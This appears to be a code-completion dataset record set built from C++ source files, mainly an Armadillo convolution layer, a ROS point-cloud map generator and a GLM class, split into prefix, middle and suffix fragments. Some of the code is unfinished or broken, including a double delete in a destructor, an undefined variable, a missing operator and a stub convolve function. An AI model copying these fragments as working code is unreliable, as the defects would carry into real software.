std::array<unsigned, 10> occ; for (auto& o : occ) { o = 0; } id_t i = 0; mFieldIds.resize(fixedSized.size() + varSized.size()); for (; i < fixedSized.size(); ++i) { auto& field = fixedSized[i]; switch (field.name()[0]) { case 'A': mFieldIds[0 + 10*occ[0]++] = i; break; case 'B': mFieldIds[1 + 10*occ[1]++] = i; break; case 'C': mFieldIds[2 + 10*occ[2]++] = i; break; case 'D': mFieldIds[3 + 10*occ[3]++] = i; break; case 'E': mFieldIds[4 + 10*occ[4]++] = i; break; case 'F': mFieldIds[5 + 10*occ[5]++] = i; break; case 'G': mFieldIds[6 + 10*occ[6]++] = i; break; case 'H': mFieldIds[7 + 10*occ[7]++] = i; break; default: throw std::runtime_error((boost::format("Unexpected field %1%") % field.name()).str().c_str()); } } for (; i - fixedSized.size() < varSized.size(); ++i) { auto& field = varSized[i - fixedSized.size()]; switch (field.name()[0]) { case 'I': mFieldIds[8 + 10*occ[8]++] = i; break; case 'J': mFieldIds[9 + 10*occ[9]++] = i; break; default: throw std::runtime_error((boost::format("Unexpected field %1%") % field.name()).str().c_str()); } } }
function_block-function_prefix_line
[ { "content": "class Transaction {\n\n RAMCloud::RamCloud &mClient;\n\n uint32_t mServerspan;\n\n uint64_t mTableId = 0;\n\n std::vector<std::pair<uint64_t, Record10>> putOps;\n\n std::vector<uint64_t> delOps;\n\n std::vector<uint64_t> getOps;\n\n static const std::string tName;\n\n Trans...
C++
ArmaPixieNet/ArmaPixieNet/ArmaConvolution.cpp
PixieNets/BinNet
d7a5be9ed95ee7e636afd2787661ab626925d20c
#include <stdio.h> #include <stdexcept> #include "ArmaConvolution.h" using namespace aconv; template<typename T> ArmaConvolution<T>::ArmaConvolution(uint ksize, uint channels, uint filters, uint conv_stride, Convolution conv_type, Nonlinearity nl_type, Pooling pool_type, uint pool_size, uint pool_stride) { this->ac_size = ksize; this->ac_channels = channels; this->ac_filters = filters; this->ac_conv_stride = conv_stride; this->ac_conv_type = conv_type; if (this->ac_conv_type == Convolution::same) { this->ac_conv_padding = this->ac_size / 2; } else if (this->ac_conv_type == Convolution::valid) { this->ac_conv_padding = 0; } this->ac_ksz_half = ksize/2; this->start_row = 0; this->start_col = 0; this->end_row = 0; this->end_col = 0; this->ac_nl_type = nl_type; this->ac_pool_type = pool_type; this->ac_pool_size = pool_size; this->ac_pool_stride = pool_stride; this->ac_box_filter = arma::ones<arma::Mat<T>>(ksize * ksize) * (1.0 / (ksize * ksize)); this->ac_conv_weights = new arma::Cube<T>[filters]; this->ac_alpha_per_filter = new T[filters]; } template<typename T> ArmaConvolution<T>::~ArmaConvolution() { delete[] this->ac_conv_weights; delete[] this->ac_conv_weights; } template<typename T> std::string ArmaConvolution<T>::constructMessage(std::string functionName, std::string message) { return std::string("[ArmaConvolution::") + functionName + std::string("] ") + message; } template<typename T> void ArmaConvolution<T>::forwardPass(arma::Cube<T> *input, arma::Cube<T> *result, arma::Cube<T> *result_pooling) { std::string fname = "forwardPass"; if (input->empty()) { throw std::invalid_argument(constructMessage(fname, "Input data must be non-empty")); } if (input->n_slices != this->n_channels) { std::string message = std::string("Input data #channels = ") + std::to_string(input->n_slices) + std::string(" should match convolution weights 4D hypercube #channels = ") + std::to_string(this->n_channels); throw std::invalid_argument(constructMessage(fname, message)); } if (!result->empty()) { throw std::invalid_argument(constructMessage(fname, "Output 3D hypercube must be empty to fill in with the correct dims")); } this->n_in = input->n_rows * input->n_cols; this->rows_out = input->n_rows - this->ac_size + 2 * this->padding; this->cols_out = input->n_cols - this->ac_size + 2 * this->padding; if (this->rows_out % this->ac_conv_stride || this->cols_out % this->ac_conv_stride) { std::string message = std::string("Input data dimensions (") + std::to_string(input->n_rows) + std::string(", ") + std::to_string(input->n_cols) + std::string(") are invalid for convolution with weights of size (") + std::to_string(this->ac_size) + std::string(", ") + std::to_string(this->ac_size) + std::string(", ") + std::to_string(this->ac_channels) + std::string(", ") + std::to_string(this->ac_filters) + std::string(") with stride = ") + std::to_string(this->ac_conv_stride) + std::string(" and padding = ") + std::to_string(this->ac_conv_padding); throw std::invalid_argument(constructMessage(fname, message)); } this->rows_out = this->rows_out / this->ac_conv_stride + (this->rows_out % 2); this->cols_out = this->cols_out / this->ac_conv_stride + (this->cols_out % 2); this->n_out = this->rows_out * this->cols_out; this->start_row = 0; this->start_col = 0; this->end_row = input->n_rows; this->end_col = input->n_cols; if (this->ac_conv_padding == 0) { this->start_row += this->ac_ksz_half; this->start_col += this->ac_ksz_half; this->end_row -= this->ac_ksz_half; this->end_col -= this->ac_ksz_half; } arma::Mat<T> input_factors; this->getInputFactors(input, input_factors); arma::Cube<T> norm_input; this->normalizeData3D(input, norm_input); this->convolve(norm_input, input_factors, result); if (this->ac_nl_type != Nonlinearity::none) { this->nlActivate(result); } if (this->ac_pool_type != Pooling::none) { this->pool(result, result_pooling); } } template<typename T> void ArmaConvolution<T>::getInputFactors(arma::Cube<T> *data, arma::Mat<T> &factors) { arma::mat A = arma::mean(*data, 2); factors = arma::conv2(A, this->ac_box_filter, "same"); if (this->ac_conv_stride > 1) { uint i = 0; arma::uvec indices(this->n_out); for (uint col = this->start_col; col < this->end_col; ++col) { for (uint row = this->start_row; row < this->end_row; ++row) { indices(i++) = arma::sub2ind(arma::size(factors), row, col); } } factors = arma::reshape(factors.elem(indices), this->rows_out, this->cols_out); } } template<typename T> void ArmaConvolution<T>::normalizeData3D(arma::Cube<T> *data, arma::Cube<T> &norm_input) { norm_input = arma::zeros(arma::size(data)); for (uint ch = 0; ch < this->ac_channels; ++ch) { T mean_value = arma::accu(data->slice(ch)) / this->n_in; arma::mat elems = ((data->slice(ch) - mean_value) % (data->slice(ch) - mean_value)) (this->n_in - 1.0); norm_input.slice(ch) = arma::sqrt(elems); } } template<typename T> void ArmaConvolution<T>::convolve(const arma::Cube<T> &data, const arma::Mat<T> &dataFactors, arma::Cube<T> *result) { arma::Cube<T> bin_input = arma::sign(data); bin_input.replace(0, 1); } template<typename T> void ArmaConvolution<T>::nlActivate(arma::Cube<T> *data) { std::string fname = "nlActivate"; if (this->ac_nonlinearity == Nonlinearity::relu) { data->elem(arma::find(*data < 0)).zeros(); } else { throw std::invalid_argument(constructMessage(fname, "Unidentified Non-linearity function")); } } template<typename T> void ArmaConvolution<T>::pool(arma::Cube<T> *input, arma::Cube<T> *result) { std::string fname = "pool"; if (input->empty()) { throw std::invalid_argument(constructMessage(fname, "Input should be non-empty")); } if (this->ac_pool_type != Pooling::max) { throw std::invalid_argument(constructMessage(fname, "Unidentified pooling type")); } uint new_rows = (uint) (input->n_rows - this->ac_pool_size) / this->ac_pool_stride - 1; uint new_cols = (uint) (input->n_cols - this->ac_pool_size) / this->ac_pool_stride - 1; result = new arma::Cube<T>(new_rows, new_cols, input->channels); uint srow = 0, scol = 0, erow = 0, ecol = 0; for (uint row = 0; row < this->rows_out; ++row) { for (uint col = 0; col < this->cols_out; ++col) { srow = row * this->ac_pool_size; erow = srow + this->ac_pool_size - 1; scol = col * this->ac_pool_size; ecol = scol + this->ac_pool_size - 1; result->at(row, col) = arma::max(arma::max(input->at(arma::span(srow, erow), arma::span(scol, ecol)))); } } } template<typename T> void ArmaConvolution<T>::set_conv_params(uint rows_in, uint cols_in, uint ksize, uint stride, uint padding, aconv_params *params) { std::string fname = "set_conv_params"; if (params == NULL) { throw std::invalid_argument(constructMessage(fname, "params struct is NULL")); } params->ksize = ksize; params->n_in = rows_in * cols_in; params->rows_out = rows_in - ksize + 2 * padding; params->cols_out = cols_in - ksize + 2 * padding; if (params->rows_out % stride || params->cols_out % stride) { std::string message = std::string("Input data dimensions (") + std::to_string(rows_in) + std::string(", ") + std::to_string(colsin) + std::string(") are invalid for convolution with weights of size (") + std::to_string(ksize) + std::string(", ") + std::to_string(ksize) + std::string(") with stride = ") + std::to_string(stride) + std::string(" and padding = ") + std::to_string(padding); throw std::invalid_argument(constructMessage(fname, message)); } params->rows_out = params->rows_out / stride + (params->rows_out % 2); params->cols_out = params->cols_out / stride + (params->cols_out % 2); params->n_out = params->rows_out * params->cols_out; params->ksz_half = ksize/2; params->start_row = 0; params->start_col = 0; params->end_row = rows_in; params->end_col = cols_in; if (padding == 0) { params->start_row = params->ksz_half; params->end_row -= params->ksz_half; params->start_col = params->ksz_half; params->end_col -= params->ksz_half; } } template<typename T> void ArmaConvolution<T>::convolve2D(arma::Mat<T> *input, arma::Mat<T> *weights, uint stride, uint padding, arma::Mat<T> *result) { std::string fname = "convolve2D"; if (!input || input->empty()) { throw std::invalid_argument(constructMessage(fname, "Input should be non-empty")); } if (!weights || weights->empty()) { throw std::invalid_argument(constructMessage(fname, "Weight kernels should be non-empty")); } if (weights->n_rows != weights->n_cols) { throw std::invalid_argument(constructMessage(fname, "Weight kernels should be square size")); } uint ksize = weights->n_rows; uint n_in = input->n_rows * input->n_cols; uint rows_out = input->n_rows - ksize + 2 * padding; uint cols_out = input->n_cols - ksize + 2 * padding; if (rows_out % stride || cols_out % stride) { std::string message = std::string("Input data dimensions (") + std::to_string(input->n_rows) + std::string(", ") + std::to_string(input->n_cols) + std::string(") are invalid for convolution with weights of size (") + std::to_string(ksize) + std::string(", ") + std::to_string(ksize) + std::string(") with stride = ") + std::to_string(stride) + std::string(" and padding = ") + std::to_string(padding); throw std::invalid_argument(constructMessage(fname, message)); } rows_out = rows_out / stride + (rows_out % 2); cols_out = cols_out / stride + (cols_out % 2); n_out = rows_out * cols_out; uint ksz_half = ksize / 2; uint start_row = 0, start_col = 0; uint end_row = input->n_rows, end_col = input->n_cols; if (padding == 0) { start_row += ksz_half; start_col += ksz_half; end_row -= ksz_half; end_col -= ksz_half; } }
#include <stdio.h> #include <stdexcept> #include "ArmaConvolution.h" using namespace aconv; template<typename T> ArmaConvolution<T>::ArmaConvolution(uint ksize, uint channels, uint filters, uint conv_stride, Convolution conv_type, Nonlinearity nl_type, Pooling pool_type, uint pool_size, uint pool_stride) { this->ac_size = ksize; this->ac_channels = channels; this->ac_filters = filters; this->ac_conv_stride = conv_stride; this->ac_conv_type = conv_type; if (this->ac_conv_type == Convolution::same) { this->ac_conv_padding = this->ac_size / 2; } else if (this->ac_conv_type == Convolution::valid)
w = 0; this->start_col = 0; this->end_row = input->n_rows; this->end_col = input->n_cols; if (this->ac_conv_padding == 0) { this->start_row += this->ac_ksz_half; this->start_col += this->ac_ksz_half; this->end_row -= this->ac_ksz_half; this->end_col -= this->ac_ksz_half; } arma::Mat<T> input_factors; this->getInputFactors(input, input_factors); arma::Cube<T> norm_input; this->normalizeData3D(input, norm_input); this->convolve(norm_input, input_factors, result); if (this->ac_nl_type != Nonlinearity::none) { this->nlActivate(result); } if (this->ac_pool_type != Pooling::none) { this->pool(result, result_pooling); } } template<typename T> void ArmaConvolution<T>::getInputFactors(arma::Cube<T> *data, arma::Mat<T> &factors) { arma::mat A = arma::mean(*data, 2); factors = arma::conv2(A, this->ac_box_filter, "same"); if (this->ac_conv_stride > 1) { uint i = 0; arma::uvec indices(this->n_out); for (uint col = this->start_col; col < this->end_col; ++col) { for (uint row = this->start_row; row < this->end_row; ++row) { indices(i++) = arma::sub2ind(arma::size(factors), row, col); } } factors = arma::reshape(factors.elem(indices), this->rows_out, this->cols_out); } } template<typename T> void ArmaConvolution<T>::normalizeData3D(arma::Cube<T> *data, arma::Cube<T> &norm_input) { norm_input = arma::zeros(arma::size(data)); for (uint ch = 0; ch < this->ac_channels; ++ch) { T mean_value = arma::accu(data->slice(ch)) / this->n_in; arma::mat elems = ((data->slice(ch) - mean_value) % (data->slice(ch) - mean_value)) (this->n_in - 1.0); norm_input.slice(ch) = arma::sqrt(elems); } } template<typename T> void ArmaConvolution<T>::convolve(const arma::Cube<T> &data, const arma::Mat<T> &dataFactors, arma::Cube<T> *result) { arma::Cube<T> bin_input = arma::sign(data); bin_input.replace(0, 1); } template<typename T> void ArmaConvolution<T>::nlActivate(arma::Cube<T> *data) { std::string fname = "nlActivate"; if (this->ac_nonlinearity == Nonlinearity::relu) { data->elem(arma::find(*data < 0)).zeros(); } else { throw std::invalid_argument(constructMessage(fname, "Unidentified Non-linearity function")); } } template<typename T> void ArmaConvolution<T>::pool(arma::Cube<T> *input, arma::Cube<T> *result) { std::string fname = "pool"; if (input->empty()) { throw std::invalid_argument(constructMessage(fname, "Input should be non-empty")); } if (this->ac_pool_type != Pooling::max) { throw std::invalid_argument(constructMessage(fname, "Unidentified pooling type")); } uint new_rows = (uint) (input->n_rows - this->ac_pool_size) / this->ac_pool_stride - 1; uint new_cols = (uint) (input->n_cols - this->ac_pool_size) / this->ac_pool_stride - 1; result = new arma::Cube<T>(new_rows, new_cols, input->channels); uint srow = 0, scol = 0, erow = 0, ecol = 0; for (uint row = 0; row < this->rows_out; ++row) { for (uint col = 0; col < this->cols_out; ++col) { srow = row * this->ac_pool_size; erow = srow + this->ac_pool_size - 1; scol = col * this->ac_pool_size; ecol = scol + this->ac_pool_size - 1; result->at(row, col) = arma::max(arma::max(input->at(arma::span(srow, erow), arma::span(scol, ecol)))); } } } template<typename T> void ArmaConvolution<T>::set_conv_params(uint rows_in, uint cols_in, uint ksize, uint stride, uint padding, aconv_params *params) { std::string fname = "set_conv_params"; if (params == NULL) { throw std::invalid_argument(constructMessage(fname, "params struct is NULL")); } params->ksize = ksize; params->n_in = rows_in * cols_in; params->rows_out = rows_in - ksize + 2 * padding; params->cols_out = cols_in - ksize + 2 * padding; if (params->rows_out % stride || params->cols_out % stride) { std::string message = std::string("Input data dimensions (") + std::to_string(rows_in) + std::string(", ") + std::to_string(colsin) + std::string(") are invalid for convolution with weights of size (") + std::to_string(ksize) + std::string(", ") + std::to_string(ksize) + std::string(") with stride = ") + std::to_string(stride) + std::string(" and padding = ") + std::to_string(padding); throw std::invalid_argument(constructMessage(fname, message)); } params->rows_out = params->rows_out / stride + (params->rows_out % 2); params->cols_out = params->cols_out / stride + (params->cols_out % 2); params->n_out = params->rows_out * params->cols_out; params->ksz_half = ksize/2; params->start_row = 0; params->start_col = 0; params->end_row = rows_in; params->end_col = cols_in; if (padding == 0) { params->start_row = params->ksz_half; params->end_row -= params->ksz_half; params->start_col = params->ksz_half; params->end_col -= params->ksz_half; } } template<typename T> void ArmaConvolution<T>::convolve2D(arma::Mat<T> *input, arma::Mat<T> *weights, uint stride, uint padding, arma::Mat<T> *result) { std::string fname = "convolve2D"; if (!input || input->empty()) { throw std::invalid_argument(constructMessage(fname, "Input should be non-empty")); } if (!weights || weights->empty()) { throw std::invalid_argument(constructMessage(fname, "Weight kernels should be non-empty")); } if (weights->n_rows != weights->n_cols) { throw std::invalid_argument(constructMessage(fname, "Weight kernels should be square size")); } uint ksize = weights->n_rows; uint n_in = input->n_rows * input->n_cols; uint rows_out = input->n_rows - ksize + 2 * padding; uint cols_out = input->n_cols - ksize + 2 * padding; if (rows_out % stride || cols_out % stride) { std::string message = std::string("Input data dimensions (") + std::to_string(input->n_rows) + std::string(", ") + std::to_string(input->n_cols) + std::string(") are invalid for convolution with weights of size (") + std::to_string(ksize) + std::string(", ") + std::to_string(ksize) + std::string(") with stride = ") + std::to_string(stride) + std::string(" and padding = ") + std::to_string(padding); throw std::invalid_argument(constructMessage(fname, message)); } rows_out = rows_out / stride + (rows_out % 2); cols_out = cols_out / stride + (cols_out % 2); n_out = rows_out * cols_out; uint ksz_half = ksize / 2; uint start_row = 0, start_col = 0; uint end_row = input->n_rows, end_col = input->n_cols; if (padding == 0) { start_row += ksz_half; start_col += ksz_half; end_row -= ksz_half; end_col -= ksz_half; } }
{ this->ac_conv_padding = 0; } this->ac_ksz_half = ksize/2; this->start_row = 0; this->start_col = 0; this->end_row = 0; this->end_col = 0; this->ac_nl_type = nl_type; this->ac_pool_type = pool_type; this->ac_pool_size = pool_size; this->ac_pool_stride = pool_stride; this->ac_box_filter = arma::ones<arma::Mat<T>>(ksize * ksize) * (1.0 / (ksize * ksize)); this->ac_conv_weights = new arma::Cube<T>[filters]; this->ac_alpha_per_filter = new T[filters]; } template<typename T> ArmaConvolution<T>::~ArmaConvolution() { delete[] this->ac_conv_weights; delete[] this->ac_conv_weights; } template<typename T> std::string ArmaConvolution<T>::constructMessage(std::string functionName, std::string message) { return std::string("[ArmaConvolution::") + functionName + std::string("] ") + message; } template<typename T> void ArmaConvolution<T>::forwardPass(arma::Cube<T> *input, arma::Cube<T> *result, arma::Cube<T> *result_pooling) { std::string fname = "forwardPass"; if (input->empty()) { throw std::invalid_argument(constructMessage(fname, "Input data must be non-empty")); } if (input->n_slices != this->n_channels) { std::string message = std::string("Input data #channels = ") + std::to_string(input->n_slices) + std::string(" should match convolution weights 4D hypercube #channels = ") + std::to_string(this->n_channels); throw std::invalid_argument(constructMessage(fname, message)); } if (!result->empty()) { throw std::invalid_argument(constructMessage(fname, "Output 3D hypercube must be empty to fill in with the correct dims")); } this->n_in = input->n_rows * input->n_cols; this->rows_out = input->n_rows - this->ac_size + 2 * this->padding; this->cols_out = input->n_cols - this->ac_size + 2 * this->padding; if (this->rows_out % this->ac_conv_stride || this->cols_out % this->ac_conv_stride) { std::string message = std::string("Input data dimensions (") + std::to_string(input->n_rows) + std::string(", ") + std::to_string(input->n_cols) + std::string(") are invalid for convolution with weights of size (") + std::to_string(this->ac_size) + std::string(", ") + std::to_string(this->ac_size) + std::string(", ") + std::to_string(this->ac_channels) + std::string(", ") + std::to_string(this->ac_filters) + std::string(") with stride = ") + std::to_string(this->ac_conv_stride) + std::string(" and padding = ") + std::to_string(this->ac_conv_padding); throw std::invalid_argument(constructMessage(fname, message)); } this->rows_out = this->rows_out / this->ac_conv_stride + (this->rows_out % 2); this->cols_out = this->cols_out / this->ac_conv_stride + (this->cols_out % 2); this->n_out = this->rows_out * this->cols_out; this->start_ro
random
[ { "content": "class aconv::ArmaConvolution {\n\nprivate:\n\n uint ac_size; // kernel size (DIM 1, 2)\n\n uint ac_channels; // kernel channels (DIM 3)\n\n uint ac_filters; // kernel #filters (DIM 4)\n\n uint ac_conv_str...
C++
grid_path_searcher/src/random_complex_generator.cpp
jianzhuozhu/RRTstar-on-uneven-surface
7b569dffe973f0339ead6434d1644ef5d85f8a34
#include <iostream> #include <pcl/io/pcd_io.h> #include <pcl_conversions/pcl_conversions.h> #include <pcl/point_cloud.h> #include <pcl/point_types.h> #include <pcl/kdtree/kdtree_flann.h> #include <pcl/search/kdtree.h> #include <pcl/search/impl/kdtree.hpp> #include <ros/ros.h> #include <ros/console.h> #include <sensor_msgs/PointCloud2.h> #include <geometry_msgs/Vector3.h> #include <geometry_msgs/PoseStamped.h> #include <nav_msgs/Odometry.h> #include <Eigen/Eigen> #include <math.h> #include <random> using namespace std; using namespace Eigen; ros::Publisher _all_map_pub; int _obs_num, _cir_num; double _x_size, _y_size, _z_size, _init_x, _init_y, _resolution, _sense_rate; double _x_l, _x_h, _y_l, _y_h, _w_l, _w_h, _h_l, _h_h, _w_c_l, _w_c_h; bool _has_map = false; sensor_msgs::PointCloud2 globalMap_pcd; pcl::PointCloud<pcl::PointXYZ> cloudMap; pcl::search::KdTree<pcl::PointXYZ> kdtreeMap; vector<int> pointIdxSearch; vector<float> pointSquaredDistance; void RandomMapGenerate() { random_device rd; default_random_engine eng(rd()); uniform_real_distribution<double> rand_x = uniform_real_distribution<double>(_x_l, _x_h ); uniform_real_distribution<double> rand_y = uniform_real_distribution<double>(_y_l, _y_h ); uniform_real_distribution<double> rand_w = uniform_real_distribution<double>(_w_l, _w_h); uniform_real_distribution<double> rand_h = uniform_real_distribution<double>(_h_l, _h_h); uniform_real_distribution<double> rand_x_circle = uniform_real_distribution<double>(_x_l + 1.0, _x_h - 1.0); uniform_real_distribution<double> rand_y_circle = uniform_real_distribution<double>(_y_l + 1.0, _y_h - 1.0); uniform_real_distribution<double> rand_r_circle = uniform_real_distribution<double>(_w_c_l , _w_c_h ); uniform_real_distribution<double> rand_roll = uniform_real_distribution<double>(- M_PI, + M_PI); uniform_real_distribution<double> rand_pitch = uniform_real_distribution<double>(+ M_PI/4.0, + M_PI/2.0); uniform_real_distribution<double> rand_yaw = uniform_real_distribution<double>(+ M_PI/4.0, + M_PI/2.0); uniform_real_distribution<double> rand_ellipse_c = uniform_real_distribution<double>(0.5, 2.0); uniform_real_distribution<double> rand_num = uniform_real_distribution<double>(0.0, 1.0); pcl::PointXYZ pt_random; bool is_kdtree_empty = false; if(cloudMap.points.size() > 0) kdtreeMap.setInputCloud( cloudMap.makeShared() ); else is_kdtree_empty = true; for(int i =0;i<50;i++){ for(int j=0;j<50;j++){ pt_random.x = i * _resolution; pt_random.y = j * _resolution; pt_random.z = 0; cloudMap.points.push_back( pt_random ); pt_random.x = -i * _resolution; pt_random.y = j * _resolution; pt_random.z = 0; cloudMap.points.push_back( pt_random ); pt_random.x = i * _resolution; pt_random.y = -j * _resolution; pt_random.z = 0; cloudMap.points.push_back( pt_random ); pt_random.x = -i * _resolution; pt_random.y = -j * _resolution; pt_random.z = 0; cloudMap.points.push_back( pt_random ); } } cloudMap.width = cloudMap.points.size(); cloudMap.height = 1; cloudMap.is_dense = true; _has_map = true; pcl::toROSMsg(cloudMap, globalMap_pcd); globalMap_pcd.header.frame_id = "world"; } void pubSensedPoints() { if( !_has_map ) return; _all_map_pub.publish(globalMap_pcd); } int main (int argc, char** argv) { ros::init (argc, argv, "random_complex_scene"); ros::NodeHandle n( "~" ); _all_map_pub = n.advertise<sensor_msgs::PointCloud2>("global_map", 1); n.param("init_state_x", _init_x, 0.0); n.param("init_state_y", _init_y, 0.0); n.param("map/x_size", _x_size, 50.0); n.param("map/y_size", _y_size, 50.0); n.param("map/z_size", _z_size, 5.0 ); n.param("map/obs_num", _obs_num, 10); n.param("map/circle_num", _cir_num, 30); n.param("map/resolution", _resolution, 0.1); n.param("ObstacleShape/lower_rad", _w_l, 0.3); n.param("ObstacleShape/upper_rad", _w_h, 0.8); n.param("ObstacleShape/lower_hei", _h_l, 3.0); n.param("ObstacleShape/upper_hei", _h_h, 7.0); n.param("CircleShape/lower_circle_rad", _w_c_l, 0.3); n.param("CircleShape/upper_circle_rad", _w_c_h, 0.8); n.param("sensing/rate", _sense_rate, 1.0); _x_l = - _x_size / 2.0; _x_h = + _x_size / 2.0; _y_l = - _y_size / 2.0; _y_h = + _y_size / 2.0; RandomMapGenerate(); ros::Rate loop_rate(_sense_rate); while (ros::ok()) { pubSensedPoints(); ros::spinOnce(); loop_rate.sleep(); } }
#include <iostream> #include <pcl/io/pcd_io.h> #include <pcl_conversions/pcl_conversions.h> #include <pcl/point_cloud.h> #include <pcl/point_types.h> #include <pcl/kdtree/kdtree_flann.h> #include <pcl/search/kdtree.h> #include <pcl/search/impl/kdtree.hpp> #include <ros/ros.h> #include <ros/console.h> #include <sensor_msgs/PointCloud2.h> #include <geometry_msgs/Vector3.h> #include <geometry_msgs/PoseStamped.h> #include <nav_msgs/Odometry.h> #include <Eigen/Eigen> #include <math.h> #include <random> using namespace std; using namespace Eigen; ros::Publisher _all_map_pub; int _obs_num, _cir_num; double _x_size, _y_size, _z_size, _init_x, _init_y, _resolution, _sense_rate; double _x_l, _x_h, _y_l, _y_h, _w_l, _w_h, _h_l, _h_h, _w_c_l, _w_c_h; bool _has_map = false; sensor_msgs::PointCloud2 globalMap_pcd; pcl::PointCloud<pcl::PointXYZ> cloudMap; pcl::search::KdTree<pcl::PointXYZ> kdtreeMap; vector<int> pointIdxSearch; vector<float> pointSquaredDistance; void RandomMapGenerate() { random_device rd; default_random_engine eng(rd()); uniform_real_distribution<double> rand_x = uniform_real_distribution<double>(_x_l, _x_h ); uniform_real_distribution<double> rand_y = uniform_real_distribution<double>(_y_l, _y_h ); uniform_real_distribution<double> rand_w = uniform_real_distribution<double>(_w_l, _w_h); uniform_real_distribution<double> rand_h = uniform_real_distribution<double>(_h_l, _h_h); uniform_real_distribution<double> rand_x_circle = uniform_real_distribution<double>(_x_l + 1.0, _x_h - 1.0); uniform_real_distribution<double> rand_y_circle = uniform_real_distribution<double>(_y_l + 1.0, _y_h - 1.0); uniform_real_distribution<double> rand_r_circle = uniform_real_distribution<double>(_w_c_l , _w_c_h ); uniform_real_distribution<double> rand_roll = uniform_real_distribution<double>(- M_PI, + M_PI); uniform_real_distribution<double> rand_pitch = uniform_real_distribution<double>(+ M_PI/4.0, + M_PI/2.0); uniform_real_distribution<double> rand_yaw = uniform_real_distribution<double>(+ M_PI/4.0, + M_PI/2.0); uniform_real_distribution<double> rand_ellipse_c = uniform_real_distribution<double>(0.5, 2.0); uniform_real_distribution<double> rand_num = uniform_real_distribution<double>(0.0, 1.0); pcl::PointXYZ pt_random; bool is_kdtree_empty = false; if(cloudMap.points.size() > 0) kdtreeMap.setInputCloud( cloudMap.makeShared() ); else is_kdtree_empty = true;
e"); ros::NodeHandle n( "~" ); _all_map_pub = n.advertise<sensor_msgs::PointCloud2>("global_map", 1); n.param("init_state_x", _init_x, 0.0); n.param("init_state_y", _init_y, 0.0); n.param("map/x_size", _x_size, 50.0); n.param("map/y_size", _y_size, 50.0); n.param("map/z_size", _z_size, 5.0 ); n.param("map/obs_num", _obs_num, 10); n.param("map/circle_num", _cir_num, 30); n.param("map/resolution", _resolution, 0.1); n.param("ObstacleShape/lower_rad", _w_l, 0.3); n.param("ObstacleShape/upper_rad", _w_h, 0.8); n.param("ObstacleShape/lower_hei", _h_l, 3.0); n.param("ObstacleShape/upper_hei", _h_h, 7.0); n.param("CircleShape/lower_circle_rad", _w_c_l, 0.3); n.param("CircleShape/upper_circle_rad", _w_c_h, 0.8); n.param("sensing/rate", _sense_rate, 1.0); _x_l = - _x_size / 2.0; _x_h = + _x_size / 2.0; _y_l = - _y_size / 2.0; _y_h = + _y_size / 2.0; RandomMapGenerate(); ros::Rate loop_rate(_sense_rate); while (ros::ok()) { pubSensedPoints(); ros::spinOnce(); loop_rate.sleep(); } }
for(int i =0;i<50;i++){ for(int j=0;j<50;j++){ pt_random.x = i * _resolution; pt_random.y = j * _resolution; pt_random.z = 0; cloudMap.points.push_back( pt_random ); pt_random.x = -i * _resolution; pt_random.y = j * _resolution; pt_random.z = 0; cloudMap.points.push_back( pt_random ); pt_random.x = i * _resolution; pt_random.y = -j * _resolution; pt_random.z = 0; cloudMap.points.push_back( pt_random ); pt_random.x = -i * _resolution; pt_random.y = -j * _resolution; pt_random.z = 0; cloudMap.points.push_back( pt_random ); } } cloudMap.width = cloudMap.points.size(); cloudMap.height = 1; cloudMap.is_dense = true; _has_map = true; pcl::toROSMsg(cloudMap, globalMap_pcd); globalMap_pcd.header.frame_id = "world"; } void pubSensedPoints() { if( !_has_map ) return; _all_map_pub.publish(globalMap_pcd); } int main (int argc, char** argv) { ros::init (argc, argv, "random_complex_scen
random
[ { "content": "using namespace Eigen;\n", "file_path": "grid_path_searcher/include/visualization.h", "rank": 0, "score": 38407.77504697899 }, { "content": "#ifdef BACKWARD_ATLEAST_CXX11\n\n#\tinclude <unordered_map>\n\n#\tinclude <utility> // for std::swap\n\n\tnamespace backward {\n\n\tnames...
C++
code/cmt/src/glm.cpp
itsb/cmt
dd37a2bcc7d477d0ee82994711acd13ee02f47a9
#include "exception.h" #include "utils.h" #include "glm.h" using CMT::GLM; #include "nonlinearities.h" using CMT::Nonlinearity; using CMT::LogisticFunction; #include "univariatedistributions.h" using CMT::UnivariateDistribution; using CMT::Bernoulli; #include <cmath> using std::log; using std::min; #include <map> using std::pair; using std::make_pair; #include "Eigen/Core" using Eigen::Dynamic; using Eigen::Array; using Eigen::ArrayXXd; using Eigen::MatrixXd; Nonlinearity* const GLM::defaultNonlinearity = new LogisticFunction; UnivariateDistribution* const GLM::defaultDistribution = new Bernoulli; CMT::GLM::Parameters::Parameters() : Trainable::Parameters(), trainWeights(true), trainBias(true), trainNonlinearity(false) { } CMT::GLM::Parameters::Parameters(const Parameters& params) : Trainable::Parameters(params), trainWeights(params.trainWeights), trainBias(params.trainBias), trainNonlinearity(params.trainNonlinearity), regularizeWeights(params.regularizeWeights), regularizeBias(params.regularizeBias) { } CMT::GLM::Parameters& CMT::GLM::Parameters::operator=(const Parameters& params) { Trainable::Parameters::operator=(params); trainWeights = params.trainWeights; trainBias = params.trainBias; trainNonlinearity = params.trainNonlinearity; regularizeWeights = params.regularizeWeights; regularizeBias = params.regularizeBias; return *this; } CMT::GLM::GLM( int dimIn, Nonlinearity* nonlinearity, UnivariateDistribution* distribution) : mDimIn(dimIn), mNonlinearity(nonlinearity ? nonlinearity : defaultNonlinearity), mDistribution(distribution ? distribution : defaultDistribution) { if(mDimIn < 0) throw Exception("Input dimensionality should be non-negative."); mWeights = VectorXd::Random(dimIn) / 100.; mBias = 0.; } CMT::GLM::GLM(int dimIn, const GLM& glm) : mDimIn(dimIn), mNonlinearity(glm.mNonlinearity), mDistribution(glm.mDistribution) { if(mDimIn < 0) throw Exception("Input dimensionality should be non-negative."); mWeights = VectorXd::Random(dimIn) / 100.; mBias = 0.; } CMT::GLM::~GLM() { } Array<double, 1, Dynamic> CMT::GLM::logLikelihood( const MatrixXd& input, const MatrixXd& output) const { if(input.rows() != mDimIn) throw Exception("Input has wrong dimensionality."); Array<double, 1, Dynamic> responses; if(mDimIn) responses = (mWeights.transpose() * input).array() + mBias; else responses = Array<double, 1, Dynamic>::Constant(output.cols(), mBias); return mDistribution->logLikelihood(output, (*mNonlinearity)(responses)); } MatrixXd CMT::GLM::sample(const MatrixXd& input) const { if(input.rows() != mDimIn) throw Exception("Input has wrong dimensionality."); if(!mDimIn) return mDistribution->sample(Array<double, 1, Dynamic>::Constant(input.cols(), mBias)); return mDistribution->sample((*mNonlinearity)((mWeights.transpose() * input).array() + mBias)); } MatrixXd CMT::GLM::predict(const MatrixXd& input) const { if(input.rows() != mDimIn) throw Exception("Input has wrong 